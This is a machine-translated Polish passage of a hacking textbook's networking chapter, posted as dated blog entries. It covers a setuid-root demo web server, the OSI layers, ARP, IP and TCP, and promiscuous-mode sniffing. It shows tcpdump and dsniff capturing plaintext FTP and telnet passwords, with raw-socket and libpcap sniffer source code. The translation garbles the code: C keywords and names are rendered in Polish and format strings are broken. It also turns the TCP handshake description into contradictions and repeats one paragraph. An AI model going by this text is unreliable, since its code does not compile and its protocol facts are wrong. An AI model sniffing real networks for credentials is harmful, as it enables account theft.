Funkcja handle_connection wykorzystuje funkcję strstr () do wyszukiwania podłańcucha HTTP / w buforze żądania. Funkcja strstr () zwraca wskaźnik do podłańcucha, który będzie na samym końcu żądania. Łańcuch zostanie tutaj zakończony, a żądania HEAD i GET zostaną uznane za przetwarzalne żądania. Żądanie HEAD po prostu zwróci nagłówki, a żądanie GET również zwróci żądany zasób (jeśli można go znaleźć). Pliki index.html i image.jpg zostały umieszczone w katalogu webroot, jak pokazano na wyjściu poniżej, oraz następnie kompiluje się program tinyweb. Uprawnienia rootowe są potrzebne do powiązania z dowolnym portem poniżej 1024, więc program jest ustawiony na root i wykonany. Wyjście debugowania serwera pokazuje wyniki żądania przeglądarki http://127.0.0.1:

reader@hacking:~/booksrc $ ls -l webroot/

total 52

-rwxr--r-- 1 reader reader 46794 2007-05-28 23:43 image.jpg

-rw-r--r-- 1 reader reader 261 2007-05-28 23:42 index.html

reader@hacking:~/booksrc $ cat webroot/index.html

< html >

< head >< title >A sample webpage< /title >< /head >

< body bgcolor="#000000" text="#ffffffff" >

< center >

< h1 >This is a sample webpage< /h1 >

…and here is some sample text< br >

< br >

…and even a sample image:< br >

< img src="image.jpg" >< br >

< /center >

< /body >

< /html >

reader@hacking:~/booksrc $ gcc -o tinyweb tinyweb.c

reader@hacking:~/booksrc $ sudo chown root ./tinyweb

reader@hacking:~/booksrc $ sudo chmod u+s ./tinyweb

reader@hacking:~/booksrc $ ./tinyweb

Accepting web requests on port 80

Got request from 127.0.0.1:52996 "GET / HTTP/1.1"

Opening './webroot/index.html' 200 OK

Got request from 127.0.0.1:52997 "GET /image.jpg HTTP/1.1"

Opening './webroot/image.jpg' 200 OK

Got request from 127.0.0.1:52998 "GET /favicon.ico HTTP/1.1"

Opening './webroot/favicon.ico' 404 Not Found

Adres 127.0.0.1 jest specjalnym adresem pętli zwrotnej, który kieruje się do komputera lokalnego. Wstępne żądanie pobiera index.html z serwera WWW, który z kolei żąda image.jpg. Ponadto przeglądarka automatycznie żąda favicon.ico, aby pobrać ikonę strony internetowej. Poniższy zrzut ekranu pokazuje wyniki tego żądania w przeglądarce

Powrót
08.08.2020

Obieranie dolnej warstwy

Kiedy korzystasz z przeglądarki, wszystkie siedem warstw OSI jest zajętych, pozwalając ci skupić się na przeglądaniu, a nie na protokołach. Na wyższych warstwach OSI wiele protokołów może być tekstem jawnym, ponieważ wszystkie inne szczegóły połączenia są już zadbane przez niższe warstwy. Gniazda istnieją w warstwie sesji (5), zapewniając interfejs do wysyłania danych z jednego hosta do drugiego. TCP na warstwie transportowej (4) zapewnia niezawodność i kontrolę transportu, podczas gdy IP w warstwie sieciowej (3) zapewnia adresowanie i komunikację na poziomie pakietu. Ethernet na warstwie łącza danych (2) zapewnia adresowanie między portami Ethernet, odpowiednie dla podstawowej komunikacji LAN (Local Area Network). U dołu warstwa fizyczna (1) to po prostu przewód i protokół używany do wysyłania bitów z jednego urządzenia do drugiego. Pojedyncza wiadomość HTTP będzie zawijana w wiele warstw, gdy przechodzi przez różne aspekty komunikacji. Proces ten można uznać za skomplikowaną biurokrację interetową, przypominającą film "Brazylia". Na każdej warstwie znajduje się wysoce wyspecjalizowana recepcjonistka, która rozumie tylko język i protokół tej warstwy. Gdy pakiety danych są transmitowane, każda recepcjonistka wykonuje niezbędne obowiązki w swojej konkretnej warstwie, umieszcza pakiet w kopercie wewnętrznej, pisze nagłówek na zewnątrz i przekazuje go do recepcjonisty na następnej warstwie poniżej. Ten recepcjonista z kolei wykonuje niezbędne obowiązki swojej warstwy, wkłada całą kopertę w inną kopertę, pisze nagłówek na zewnątrz i przekazuje go dalej. Ruch w sieci to rozmowa serwerów, klientów i połączeń peer-to-peer. Na wyższych warstwach ruch może być danymi finansowymi, pocztą e-mail lub w zasadzie cokolwiek. Niezależnie od tego, co zawierają pakiety, protokoły używane w niższych warstwach do przenoszenia danych z punktu A do punktu B są zwykle takie same. Po zrozumieniu biurowej biurokracji tych powszechnych protokołów niższych warstw można zajrzeć do wewnątrz przesyłanych kopert, a nawet sfalsyfikować dokumenty w celu manipulowania systemem.



Powrót

09.08.2020

Warstwa łącza danych

Najniższą widoczną warstwą jest warstwa łącza danych. Wracając do recepcjonistki i analogii do biurokracji, jeśli warstwa fizyczna poniżej jest uważana za wozy interoffice i warstwa sieciowa powyżej jako globalny system pocztowy, warstwa łącza danych to system poczty wewnętrznej. Ta warstwa zapewnia sposób adresowania i wysyłania wiadomości do wszystkich osób w biurze, a także do ustalania, kto jest w biurze. Ethernet istnieje na tej warstwie, zapewniając standardowy system adresowania dla wszystkich urządzeń Ethernet. Adresy te są nazywane adresami Media Access Control (MAC). Każdemu urządzeniu Ethernet przypisuje się globalnie unikalny adres składający się z sześciu bajtów, zwykle zapisanych szesnastkowo w postaci xx: xx: xx: xx: xx: xx. Adresy te są czasami określane jako adresy sprzętowe, ponieważ każdy adres jest unikalny dla sprzętu i jest przechowywany w pamięci układu scalonego urządzenia. Adresy MAC mogą być uważane za numery ubezpieczenia społecznego dla sprzętu, ponieważ każdy element sprzętu ma mieć unikalny adres MAC. Nagłówek Ethernet ma 14 bajtów i zawiera źródłowe i docelowe adresy MAC tego pakietu Ethernet. Adresowanie Ethernet zapewnia również specjalny adres rozgłoszeniowy, składający się ze wszystkich binarnych 1 (ff: ff: ff: ff: ff: ff). Dowolny pakiet Ethernet wysłany na ten adres zostanie wysłany do wszystkich podłączonych urządzeń. Adres MAC urządzenia sieciowego nie zmienia się, ale jego adres IP może się zmieniać regularnie. Koncepcja adresów IP nie istnieje na tym poziomie, tylko adresy sprzętowe, więc potrzebna jest metoda korelacji dwóch schematów adresowania. W biurze poczta wysłana do pracownika pod adresem biura trafia do właściwego stanowiska. W sieci Ethernet metoda ta jest znana jako ARP (Address Resolution Protocol). Protokół ten umożliwia tworzenie "map miejsc docelowych" w celu powiązania adresu IP z urządzeniem. Istnieją cztery różne typy wiadomości ARP, ale dwa najważniejsze typy to wiadomości żądania ARP i wiadomości odpowiedzi ARP. Nagłówek Ethernet dowolnego pakietu zawiera wartość typu opisującą pakiet. Ten typ służy do określenia, czy pakiet jest komunikatem typu ARP, czy też pakietem IP. Żądanie ARP to wiadomość wysłana na adres rozgłoszeniowy, która zawiera adres IP nadawcy i adres MAC i zasadniczo mówi: "Hej, kto ma ten adres IP? Jeśli to ty, odpowiedz mi i podaj adres MAC". Odpowiedź ARP to odpowiednia odpowiedź, która jest wysyłana na adres MAC requestera (i adres IP), mówiąc:

"To jest mój adres MAC i mam ten adres IP." Większość implementacji tymczasowo buforuje pary adresów MAC / IP otrzymane w odpowiedziach ARP, więc żądania ARP i odpowiedzi nie są potrzebne dla każdego pojedynczego pakietu. Te pamięci podręczne są podobne do tabeli miejsc w interoffice. Na przykład, jeśli jeden system ma adres IP 10.10.10.20 i adres MAC 00: 00: 00: aa: aa: aa, a inny system w tej samej sieci ma adres IP 10.10.10.50 i adres MAC 00:00:00 : bb: bb: bb, żaden system nie może komunikować się z drugim, dopóki nie pozna się adresów MAC nawzajem. Jeśli pierwszy system chce ustanowić połączenie TCP przez IP z adresem IP drugiego urządzenia 10.10.10.50, pierwszy system najpierw sprawdzi jego pamięć podręczną ARP, aby sprawdzić, czy wpis istnieje dla 10.10.10.50. Ponieważ to jest pierwszy raz te dwa systemy próbują się komunikować, nie będzie takiego wpisu, a żądanie ARP zostanie wysłane na adres transmisji, mówiąc: "Jeśli jesteś 10.10.10.50, proszę o odpowiedź na mnie o 00: 00: 00: aa : aa: aa. " Ponieważ to żądanie wykorzystuje adres rozgłoszeniowy, każdy system w sieci widzi żądanie, ale tylko system z odpowiednim adresem IP ma odpowiadać. W takim przypadku drugi system odpowiada odpowiedzią ARP, która jest wysyłana bezpośrednio z powrotem do 00: 00: 00: aa: aa: aa, mówiąc: "Jestem 10.10.10.50 i jestem przy 00: 00: 00: bb: bb: bb. "Pierwszy system odbiera tę odpowiedź, buforuje parę adresów IP i MAC w pamięci podręcznej ARP i używa adresu sprzętowego do komunikacji.

Powrót

10.08.2020

Warstwa sieci

Warstwa sieciowa jest podobna do światowej usługi pocztowej, która zapewnia metodę adresowania i dostarczania używaną do wysyłania rzeczy wszędzie. Protokół używany w tej warstwie do adresowania i dostarczania Internetu jest odpowiednio Protokół internetowy (IP); większość Internetu używa wersji 4 IP. Każdy system w Internecie ma adres IP, czterobajtowy układ w postaci xx.xx.xx.xx. Nagłówek IP dla pakietów w tej warstwie ma rozmiar 20 bajtów i składa się z różnych pól i bitflagi zdefiniowane w RFC 791.

Standardowe protokoły mają niesamowitą dokumentację. Podobny do nagłówka Ethernet, nagłówek IP ma zatem pole protokołu opisać typ danych w pakiecie i źródłowych i docelowych adresów dla routingu. Ponadto nagłówek zawiera sumę kontrolną, która pomaga wykryć błędy transmisji i pola służące do fragmentacji pakietów. Protokół internetowy jest zwykle używany do przesyłania pakietów owiniętych w wyższe warstwy. Na tej warstwie istnieją również pakiety protokołu ICMP (Internet Control Message Protocol). Pakiety ICMP są używane do przesyłania komunikatów i diagnostyki. IP chce dotrzeć do miejsca docelowego. Jeśli wystąpi problem, pakiet ICMP zostanie odesłany do nadawcy problemu. ICMP jest powszechnie używany do testowania łączności. Komunikaty ICMP Echo Request i Echo Reply są używane przez narzędzie o nazwie ping. Wysyłając żądanie echa ICMP. Po otrzymaniu żądania echa ICMP zdalny host odsyła z powrotem do odpowiedzi ICMP Echo. Komunikaty te można wykorzystać do określenia opóźnienia między dwoma hostami. Należy jednak pamiętać, że zarówno ICMP, jak i IP są bezpołączeniowe; cała ta warstwa protokołu naprawdę dba o pakiet do jego adresu docelowego. Czasami łącze sieciowe chce mieć ograniczenie wielkości pakietu, uniemożliwiając przesyłanie dużych pakietów. IP może poradzić sobie z tą sytuacją poprzez fragmentację pakietów. Każdy fragment ma inną wartość przesunięcia fragmentu, która jest przechowywana w nagłówku. Kiedy odbiorca odbiera te fragmenty, wartości przesunięcia są używane do ponownego połączenia oryginalnego pakietu IP. Przepisy traktują jako pomoc fragmentacyjną w dostarczaniu pakietów IP, ale nie oznacza to utrzymywania połączeń ani zapewniania dostawy. To jest zadanie protokołów w warstwie transportowej.

Powrót

11.08.2020

Warstwa transportowa

Warstwa transportowa może być uważana za pierwszą linię recepcjonistek biurowych, zbierającą pocztę z warstwy sieci. Jeśli klient chce zwrócić wadliwy towar, wysyła wiadomość z prośbą o numer RMA (Return Material Authorization). Następnie recepcjonista podążyłby za protokołem zwrotnym, prosząc o pokwitowanie i ostatecznie wydając numer RMA, aby klient mógł wysłać produkt. Poczta zajmuje się tylko wysyłaniem tych wiadomości (i paczek) tam i z powrotem, a nie z tym, co jest w środku. im. Dwa główne protokoły w tej warstwie to protokół TCP (Transmission Control Protocol) i protokół UDP (User Datagram Protocol). TCP jest najczęściej używanym protokołem dla usług w Internecie: telnet, HTTP (ruch sieciowy), SMTP (ruch pocztowy) i FTP (transfery plików) używają TCP. Jednym z powodów popularności TCP jest to, że zapewnia przejrzyste, ale niezawodne i dwukierunkowe połączenie między dwoma adresami IP. Gniazda strumieniowe korzystają z połączeń TCP / IP. Dwukierunkowe połączenie z TCP jest podobne do korzystania z telefonu - po wybraniu numeru nawiązane zostaje połączenie, za pośrednictwem którego obie strony mogą się komunikować. Niezawodność oznacza po prostu, że TCP zapewni, że wszystkie dane dotrą do celu w odpowiedniej kolejności. Jeśli pakiety połączenia zostaną pomieszane i przestaną działać, TCP upewni się, że są one przywrócone, zanim przekaże dane do następnej warstwy. Jeśli niektóre pakiety w trakcie połączenia zostaną utracone, odbiorca zatrzyma pakiety, które ma, a źródło ponownie przesyła brakujące pakiety. Cała ta funkcjonalność jest możliwa dzięki zestawowi flag, nazwanym flagami TCP i wartościom śledzenia nazwanym numerami sekwencji. Flagi TCP są następujące:

Flaga TCP : Znaczenie : Cel

URG : Pilne : Identyfikuje ważne dane

ACK : Potwierdzenie : Potwierdza pakietu; jest włączony dla większości połączeń

PSH : Push : Mówi odbiornikowi, aby przepchnął dane zamiast go buforować

RST : Reset : Resetuje połączenie

SYN : Synchronizacja : Synchronizuje numery porządkowe na początku połączenia

FIN : Finish : Z wdziękiem zamyka połączenie, gdy obie strony się żegnają

Flagi te są przechowywane w nagłówku TCP wraz z portami źródłowym i docelowym. Nagłówek TCP jest określony w RFC 793. Numer sekwencyjny i numer potwierdzenia są używane do utrzymania stanu. Flagi SYN i ACK są używane razem do otwierania połączeń w trzystopniowym procesie uzgadniania. Gdy klient chce otworzyć połączenie z serwerem, zostaje wysłany pakiet z flagą SYN, ale flaga ACK jest wysyłana na serwer. Następnie serwer odpowiada pakietem, który ma włączone zarówno flagi SYN, jak i ACK. Aby zakończyć połączenie, klient odsyła pakiet z flagą SYN, ale flaga ACK jest włączona. Następnie każdy pakiet w połączeniu będzie miał włączoną flagę ACK i flaga SYN zostanie wyłączona. Tylko pierwsze dwa pakiety połączenia mają włączoną flagę SYN, ponieważ te pakiety służą do synchronizacji numerów sekwencji

Numery sekwencji umożliwiają TCP umieszczanie nieuporządkowanych pakietów z powrotem w kolejności, aby ustalić, czy brakuje pakietów i zapobiec mieszaniu pakietów z innych połączeń. Po zainicjowaniu połączenia każda ze stron generuje początkowy numer sekwencji. Liczba ta jest przekazywana drugiej stronie w pierwszych dwóch pakietach SYN uzgodnienia połączenia. Następnie, przy każdym wysyłanym pakiecie, numer sekwencji jest zwiększany o liczbę bajtów znalezionych w części danych pakietu. Ten numer sekwencji znajduje się w nagłówku pakietu TCP. Ponadto każdy nagłówek TCP ma numer potwierdzenia, który jest po prostu numerem kolejnym strony przeciwnej plus jeden. Protokół TCP doskonale sprawdza się w aplikacjach, w których wymagana jest niezawodność i komunikacja dwukierunkowa. Koszt tej funkcji jest jednak pokryty w kosztach komunikacji. UDP ma znacznie mniej narzutów i wbudowaną funkcjonalność niż TCP. Ten brak funkcjonalności sprawia, że zachowuje się podobnie do protokołu IP: jest bezpołączeniowy i niewiarygodny. Bez wbudowanej funkcji tworzenia połączeń i utrzymania niezawodności, UDP jest alternatywą, która oczekuje, że aplikacja poradzi sobie z tymi problemami. Czasami połączenia nie są potrzebne, a lekki protokół UDP jest o wiele lepszym protokołem w takich sytuacjach. Nagłówek UDP zdefiniowany w RFC 768 jest stosunkowo mały. Zawiera tylko cztery 16-bitowe wartości w następującej kolejności: port źródłowy, port docelowy, długość i suma kontrolna.



Powrót

12.08.2020

Network Sniffing

Na warstwie łącza danych znajduje się rozróżnienie między sieciami przełączanymi i niepodłączonymi. W sieci niezwiązanej pakiety Ethernet przechodzą przez każde urządzenie w sieci, oczekując, że każde urządzenie systemowe będzie tylko patrzyło na pakiety wysłane na adres docelowy. Jednak dość trywialne jest ustawienie urządzenia w trybie mieszanym, co powoduje, że będzie on patrzył na wszystkie pakiety, niezależnie od adresu docelowego. Większość programów przechwytywania pakietów, takich jak tcpdump, domyślnie upuszcza urządzenie, którego nasłuchują, do trybu mieszanego. Tryb promiscuous można ustawić za pomocą polecenia ifconfig, jak widać na poniższym wyjściu

reader@hacking:~/booksrc $ ifconfig eth0

eth0 Link encap:Ethernet HWaddr 00:0C:29:34:61:65

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:17115 errors:0 dropped:0 overruns:0 frame:0

TX packets:1927 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:4602913 (4.3 MiB) TX bytes:434449 (424.2 KiB)

Interrupt:16 Base address:0x2024

reader@hacking:~/booksrc $ sudo ifconfig eth0 promisc

reader@hacking:~/booksrc $ ifconfig eth0

eth0 Link encap:Ethernet HWaddr 00:0C:29:34:61:65

UP BROADCAST RUNNING PROMISC MULTICAST MTU:1500 Metric:1

RX packets:17181 errors:0 dropped:0 overruns:0 frame:0

TX packets:1927 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:4668475 (4.4 MiB) TX bytes:434449 (424.2 KiB)

Interrupt:16 Base address:0x2024

reader@hacking:~/booksrc $

Akt przechwytywania pakietów, które niekoniecznie są przeznaczone do publicznego oglądania, nazywa się wąchaniem. Sniffowanie pakietów w trybie mieszanym w sieci niezwiązanej z siecią może dostarczyć różnego rodzaju użytecznych informacji, jak pokazuje poniższy wynik.



reader@hacking:~/booksrc $ sudo tcpdump -l -X 'ip host 192.168.0.118'

tcpdump: listening on eth0

21:27:44.684964 192.168.0.118.ftp > 192.168.0.193.32778: P 1:42(41) ack 1 win

17316 < nop,nop,timestamp 466808 920202> (DF)

0x0000 4500 005d e065 4000 8006 97ad c0a8 0076 E..].e@........v

0x0010 c0a8 00c1 0015 800a 292e 8a73 5ed4 9ce8 ........)..s^...

0x0020 8018 43a4 a12f 0000 0101 080a 0007 1f78 ..C../.........x

0x0030 000e 0a8a 3232 3020 5459 5053 6f66 7420 ....220.TYPSoft.

0x0040 4654 5020 5365 7276 6572 2030 2e39 392e FTP.Server.0.99.

0x0050 3133 13

21:27:44.685132 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 42 win 5840

< nop,nop,timestamp 920662 466808> (DF) [tos 0x10]

0x0000 4510 0034 966f 4000 4006 21bd c0a8 00c1 E..4.o@.@.!.....

0x0020 8010 16d0 81db 0000 0101 080a 000e 0c56 ...............V

0x0030 0007 1f78 ...x

21:27:52.406177 192.168.0.193.32778 > 192.168.0.118.ftp: P 1:13(12) ack 42 win

5840 < nop,nop,timestamp 921434 466808> (DF) [tos 0x10]

0x0000 4510 0040 9670 4000 4006 21b0 c0a8 00c1 E..@.p@.@.!...

0x0010 c0a8 0076 800a 0015 5ed4 9ce8 292e 8a9c ...v....^...)...

0x0020 8018 16d0 edd9 0000 0101 080a 000e 0f5a ...............Z

0x0030 0007 1f78 5553 4552 206c 6565 6368 0d0a ...xUSER.leech..

21:27:52.415487 192.168.0.118.ftp > 192.168.0.193.32778: P 42:76(34) ack 13

win 17304 (DF)

0x0000 4500 0056 e0ac 4000 8006 976d c0a8 0076 E..V..@....m...v

0x0010 c0a8 00c1 0015 800a 292e 8a9c 5ed4 9cf4 ........)...^...

0x0020 8018 4398 4e2c 0000 0101 080a 0007 1fc5 ..C.N,..........

0x0030 000e 0f5a 3333 3120 5061 7373 776f 7264 ...Z331.Password

0x0040 2072 6571 7569 7265 6420 666f 7220 6c65 .required.for.le

0x0050 6563 ec

21:27:52.415832 192.168.0.193.32778 > 192.168.0.118.ftp: . ack 76 win 5840

< nop,nop,timestamp 921435 466885> (DF) [tos 0x10]

0x0000 4510 0034 9671 4000 4006 21bb c0a8 00c1 E..4.q@.@.!.....

0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...

0x0020 8010 16d0 7e5b 0000 0101 080a 000e 0f5b ....~[.........[

0x0030 0007 1fc5 ....

21:27:56.155458 192.168.0.193.32778 > 192.168.0.118.ftp: P 13:27(14) ack 76

win 5840 < nop,nop,timestamp 921809 466885> (DF) [tos 0x10]

0x0000 4510 0042 9672 4000 4006 21ac c0a8 00c1 E..B.r@.@.!.....

0x0010 c0a8 0076 800a 0015 5ed4 9cf4 292e 8abe ...v....^...)...

0x0020 8018 16d0 90b5 0000 0101 080a 000e 10d1 ................

0x0030 0007 1fc5 5041 5353 206c 3840 6e69 7465 ....PASS.l8@nite

0x0040 0d0a ..

21:27:56.179427 192.168.0.118.ftp > 192.168.0.193.32778: P 76:103(27) ack 27

win 17290 < nop,nop,timestamp 466923 921809> (DF)

0x0000 4500 004f e0cc 4000 8006 9754 c0a8 0076 E..O..@....T...v

0x0010 c0a8 00c1 0015 800a 292e 8abe 5ed4 9d02 ........)...^...

0x0020 8018 438a 4c8c 0000 0101 080a 0007 1feb ..C.L...........

0x0030 000e 10d1 3233 3020 5573 6572 206c 6565 ....230.User.lee

0x0040 6368 206c 6f67 6765 6420 696e 2e0d 0a ch.logged.in...

Dane przesyłane przez sieć za pośrednictwem usług takich jak telnet, FTP i POP3 są niezaszyfrowane. W poprzednim przykładzie pijawka użytkownika jest widoczna podczas logowania do serwera FTP przy użyciu hasła l8 @ nite. Ponieważ proces uwierzytelniania podczas logowania jest również niezaszyfrowany, nazwy użytkownika i hasła są po prostu zawarte w częściach danych przesyłanych pakietów. tcpdump to wspaniały sniffer pakietów o uniwersalnym zastosowaniu, ale istnieją wyspecjalizowane narzędzia do wąchania zaprojektowane specjalnie do wyszukiwania nazw użytkowników i haseł. Jednym z godnych uwagi przykładów jest program Dug Song, dsniff, który jest wystarczająco inteligentny, aby przeanalizować dane, które wyglądają na ważne.



reader@hacking:~/booksrc $ sudo dsniff -n

dsniff: listening on eth0

-----------------

12/10/02 21:43:21 tcp 192.168.0.193.32782 -> 192.168.0.118.21 (ftp)

USER leech

PASS l8@nite

-----------------

12/10/02 21:47:49 tcp 192.168.0.193.32785 -> 192.168.0.120.23 (telnet)

USER root

PASS 5eCr3t

Powrót

13.08.2020

Raw Socket Sniffer

Do tej pory w naszych przykładach kodu używaliśmy gniazd strumieniowych. Podczas wysyłania i odbierania za pomocą gniazd strumieniowych dane są starannie zapakowane w połączenie TCP / IP. Uzyskując dostęp do modelu OSI warstwy sesji (5), system operacyjny zajmuje się wszystkimi szczegółami transmisji, korekcji i routingu na niższym poziomie. Możliwe jest uzyskanie dostępu do sieci w niższych warstwach przy użyciu nieprzetworzonych gniazd. Przy tej dolnej warstwie wszystkie szczegóły są odsłonięte i muszą być obsługiwane bezpośrednio przez programistę. Surowe gniazda są określone za pomocą SOCK_RAW jako typ. W takim przypadku protokół ma znaczenie, ponieważ istnieje wiele opcji. Protokół może być protokołem IPPROTO_TCP, IPPROTO_UDP lub IPPROTO_ICMP. Następujący przykład to program podsłuchujący TCP używający surowych gniazd

raw_tcpsniff.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

#include < sys/socket.h >

#include < netinet/in.h >

#include < arpa/inet.h >

#include "hacking.h"

int main(void) {

int i, recv_length, sockfd;

u_char buffer[9000];

if ((sockfd = socket(PF_INET, SOCK_RAW, IPPROTO_TCP)) == -1)

fatal("in socket");

for(i=0; i < 3; i++) {

recv_length = recv(sockfd, buffer, 8000, 0);

printf("Got a %d byte packet\n", recv_length);

dump(buffer, recv_length);

}

}

Ten program otwiera surowe gniazdo TCP i nasłuchuje trzech pakietów, drukując surowe dane każdego z nich za pomocą funkcji dump (). Zauważ, że bufor jest zadeklarowany jako zmienna u_char. Jest to po prostu definicja typu wygody z sys / socket.h, która rozwija się do "unsigned char". Jest to dla wygody, ponieważ niepodpisane zmienne są często używane w programowaniu sieciowym, a pisanie bez znaku za każdym razem jest uciążliwe. Po skompilowaniu program musi być uruchamiany jako root, ponieważ użycie surowych gniazd wymaga uprawnień administratora. Poniższe dane wyjściowe pokazują program wykrywający sieć podczas wysyłania przykładowego tekstu do naszego prostego_serwera

reader@hacking:~/booksrc $ gcc -o raw_tcpsniff raw_tcpsniff.c

reader@hacking:~/booksrc $ ./raw_tcpsniff

[!!] Fatal Error in socket: Operation not permitted

reader@hacking:~/booksrc $ sudo ./raw_tcpsniff

Got a 68 byte packet

45 10 00 44 1e 36 40 00 40 06 46 23 c0 a8 2a 01 | E..D.6@.@.F#..*.

c0 a8 2a f9 8b 12 1e d2 ac 14 cf 92 e5 10 6c c9 | ..*...........l.

80 18 05 b4 32 47 00 00 01 01 08 0a 26 ab 9a f1 | ....2G......&...

02 3b 65 b7 74 68 69 73 20 69 73 20 61 20 74 65 | .;e.this is a te

73 74 0d 0a | st..

Got a 70 byte packet

45 10 00 46 1e 37 40 00 40 06 46 20 c0 a8 2a 01 | E..F.7@.@.F ..*.

c0 a8 2a f9 8b 12 1e d2 ac 14 cf a2 e5 10 6c c9 | ..*...........l.

80 18 05 b4 27 95 00 00 01 01 08 0a 26 ab a0 75 | ....'.......&..u

02 3c 1b 28 41 41 41 41 41 41 41 41 41 41 41 41 | .<.(AAAAAAAAAAAA

41 41 41 41 0d 0a | AAAA..

Got a 71 byte packet

45 10 00 47 1e 38 40 00 40 06 46 1e c0 a8 2a 01 | E..G.8@.@.F...*.

c0 a8 2a f9 8b 12 1e d2 ac 14 cf b4 e5 10 6c c9 | ..*...........l.

80 18 05 b4 68 45 00 00 01 01 08 0a 26 ab b6 e7 | ....hE......&...

02 3c 20 ad 66 6a 73 64 61 6c 6b 66 6a 61 73 6b | .< .fjsdalkfjask

66 6a 61 73 64 0d 0a | fjasd..

reader@hacking:~/booksrc $

Podczas gdy ten program przechwytuje pakiety, nie jest niezawodny i ominie niektóre pakiety, szczególnie gdy występuje duży ruch. Ponadto przechwytuje tylko pakiety TCP - aby przechwytywać pakiety UDP lub ICMP, należy otworzyć dodatkowe gniazda nieprzetworzone dla każdego z nich. Innym poważnym problemem z surowymi gniazdami jest to, że są one niespójne między systemami. Kod gniazda dla Linuxa najprawdopodobniej nie zadziała w BSD lub Solaris. To sprawia, że wieloplatformowe programowanie z surowymi gniazdami jest prawie niemożliwe. Podczas gdy ten program przechwytuje pakiety, nie jest niezawodny i ominie niektóre pakiety, szczególnie gdy występuje duży ruch. Ponadto przechwytuje tylko pakiety TCP - aby przechwytywać pakiety UDP lub ICMP, należy otworzyć dodatkowe gniazda nieprzetworzone dla każdego z nich. Innym poważnym problemem z surowymi gniazdami jest to, że są one niespójne między systemami. Kod gniazda dla Linuxa najprawdopodobniej nie zadziała w BSD lub Solaris. To sprawia, że wieloplatformowe programowanie z surowymi gniazdami jest prawie niemożliwe

Powrót

14.08.2020

libpcap Sniffer

Standaryzowana biblioteka programowania o nazwie libpcap może być używana do wygładzania niespójności surowych gniazd. Funkcje w tej bibliotece nadal wykorzystują surowe gniazda, aby wykonać swoją magię, ale biblioteka wie, jak poprawnie pracować z nieprzetworzonymi gniazdami na wielu architekturach. Zarówno tcpdump, jak i dsniff używają libpcap, co pozwala im kompilować się ze względną łatwością na dowolnej platformie. Przeredagujmy program snifferów pakietów surowych używając funkcji libpcap zamiast własnych. Te funkcje są dość intuicyjne, więc omówimy je za pomocą poniższego wykazu kodów.

pcap_sniff.c

#include < pcap.h >

#include "hacking.h"

void pcap_fatal (const char * failed_in, const char * errbuf) {

printf ("Błąd krytyczny w% s:% s \ n", failed_in, errbuf);

wyjście (1);

}

Najpierw dołączono pcap.h, zapewniając różne struktury i definicje używane przez funkcje pcap. Ponadto napisałem funkcję pcap_fatal () do wyświetlania błędów krytycznych. Funkcje pcap używają bufora błędów do zwracania komunikatów o błędach i statusie, więc ta funkcja służy do wyświetlania tego bufora użytkownikowi.

int main () {

struct pcap_pkthdr nagłówek;

const u_char * pakiet;

char errbuf [PCAP_ERRBUF_SIZE];

urządzenie char *;

pcap_t * pcap_handle;

int i;

Zmienna errbuf to wspomniany wcześniej bufor błędów, którego rozmiar pochodzi z definicji w pliku pcap.h, ustawionej na 256. Zmienna nagłówka to struktura pcap_pkthdr zawierająca dodatkowe informacje przechwytywania o pakiecie, na przykład kiedy została przechwycona i jej długość. Wskaźnik pcap_handle działa podobnie jak deskryptor pliku, ale służy do odniesienia do obiektu przechwytującego pakiety.

device = pcap_lookupdev (errbuf);

if (device == NULL)

pcap_fatal ("pcap_lookupdev", errbuf);

printf ("Wąchanie na urządzeniu% s \ n", urządzenie);

Funkcja pcap_lookupdev () szuka odpowiedniego urządzenia do sniffowania. To urządzenie jest zwracane jako wskaźnik łańcuchowy odwołujący się do pamięci funkcji statycznych. Dla naszego systemu zawsze będzie to / dev / eth0, chociaż będzie inaczej w systemie BSD. Jeśli funkcja nie może znaleźć odpowiedniego interfejsu, zwróci wartość NULL.

pcap_handle = pcap_open_live (device, 4096, 1, 0, errbuf);

if (pcap_handle == NULL)

pcap_fatal ("pcap_open_live", errbuf);

Podobnie jak funkcja gniazda i funkcja otwierania pliku, funkcja pcap_open_live () otwiera urządzenie przechwytujące pakiety, zwracając do niego uchwyt. Argumentami dla tej funkcji są: urządzenie do sniffowania, maksymalny rozmiar pakietu, zmienna flaga, wartość limitu czasu i wskaźnik do bufora błędów. Ponieważ chcemy przechwycić w trybie mieszanym, zmienna flaga jest ustawiona na 1.

dla (i = 0; i <3; i ++) {

packet = pcap_next (pcap_handle, & header);

printf ("Mam pakiet% d bajtów \ n", header.len);

dump (packet, header.len);

}

pcap_close (pcap_handle);

}

Na koniec, pętla przechwytywania pakietów używa pcap_next () do przechwycenia następnego pakietu. Ta funkcja jest przekazywana do pliku pcap_handle i wskaźnika do struktury pcap_pkthdr, dzięki czemu może wypełnić go szczegółami przechwytywania. Funkcja zwraca wskaźnik do pakietu, a następnie drukuje pakiet, pobierając jego długość z nagłówka przechwytywania. Następnie pcap_close () zamyka interfejs przechwytywania. Po skompilowaniu tego programu biblioteki pcap muszą być połączone. Można to zrobić za pomocą flagi -l z GCC, jak pokazano na wyjściu poniżej. Biblioteka pcap została zainstalowana w tym systemie, więc biblioteka i pliki dołączane znajdują się już w standardowych lokalizacjach, o których wie kompilator.

reader@ hacking: ~ / booksrc $ gcc -o pcap_sniff pcap_sniff.c

/tmp/ccYgieqx.o: W funkcji `main ':

pcap_sniff.c :(. text + 0x1c8): niezdefiniowane odwołanie do `pcap_lookupdev '

pcap_sniff.c :(. text + 0x233): niezdefiniowane odniesienie do `pcap_open_live '

pcap_sniff.c :(. text + 0x282): niezdefiniowane odniesienie do `pcap_next '

pcap_sniff.c :(. text + 0x2c2): niezdefiniowane odniesienie do `pcap_close '

collect2: ld zwrócił 1 status wyjścia

reader@ hacking: ~ / booksrc $ gcc -o pcap_sniff pcap_sniff.c -l pcap

reader@ hacking: ~ / booksrc $ ./pcap_sniff

Błąd krytyczny w pcap_lookupdev: nie znaleziono odpowiedniego urządzenia

reader@ hacking: ~ / booksrc $ sudo ./pcap_sniff

Sniffowanie na urządzeniu eth0

Mam pakiet o długości 82 bajtów

